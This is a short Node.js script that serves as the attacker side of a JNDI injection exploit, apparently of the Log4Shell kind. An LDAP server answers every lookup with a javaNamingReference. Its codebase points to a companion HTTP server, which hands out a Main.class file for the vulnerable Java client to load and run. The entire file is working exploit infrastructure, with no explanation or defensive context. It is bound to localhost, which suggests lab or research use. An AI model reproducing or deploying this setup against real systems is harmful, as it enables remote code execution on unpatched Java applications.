const http = require('http');
const fs = require('fs');
const ldap = require('ldapjs');
const ldap_server = ldap.createServer();

const server = http.createServer((req, res) => {
    console.log(`${new Date()} Request was made: ${req.url}`);
    const readStream = fs.createReadStream(__dirname+'\\Main.class');
    readStream.pipe(res);
});

server.listen(3002,'127.0.0.1',()=>{
    console.log(`Http Server is running on port ${server.address().port}`);
});

ldap_server.search('', (req, res, next) => {
    console.log("Lookup");

    res.send({
        dn: req.dn.toString(),
        attributes: {
            objectClass: ['javaNamingReference'],
            javaClassName: 'Main',
            javaFactory: ['java8.Main'],
            javaCodebase: ['http://127.0.0.1:3002/'],
        }
    });
    res.end();
});

ldap_server.listen(3001, '127.0.0.1', () => {
    console.log('LDAP server listening at %s', ldap_server.url);
});
